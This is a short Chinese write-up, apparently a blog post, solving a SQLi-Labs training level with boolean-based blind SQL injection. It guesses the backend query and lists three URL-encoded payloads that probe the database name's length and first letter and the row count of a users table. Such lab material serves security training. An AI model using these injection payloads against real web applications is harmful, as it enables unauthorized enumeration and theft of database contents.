这一关sql语句执行抛出错误后并不在页面输出,所以排除报错注入。
可猜测后端查询语句为SELECT * FROM users WHERE id=('$id') LIMIT0,1
故采用盲注解题
部分payload如下:
判断数据库长度:
?id=2')%26%26length(database())>5%26%26'1'=('1

求解数据库名第一个字母:
?id=2') %26%26 substr(database(),1,1)>'m' %26%26 '1'=('1

求解字段的第一个字母:
?id=2') %26%26 (select(count(username)) from (users))>5 %26%26 '1'=('1

关于盲注的详细原理及题解可参考专栏:SQLiLabs靶场专栏
文章讲述了在遇到SQL执行错误后,通过分析后端可能的查询语句,使用盲注技术(如检测数据库长度、字段首字母等)进行安全测试的过程,同时推荐了SQLiLabs靶场专栏以获取更多相关知识。
434

被折叠的 条评论
为什么被折叠?



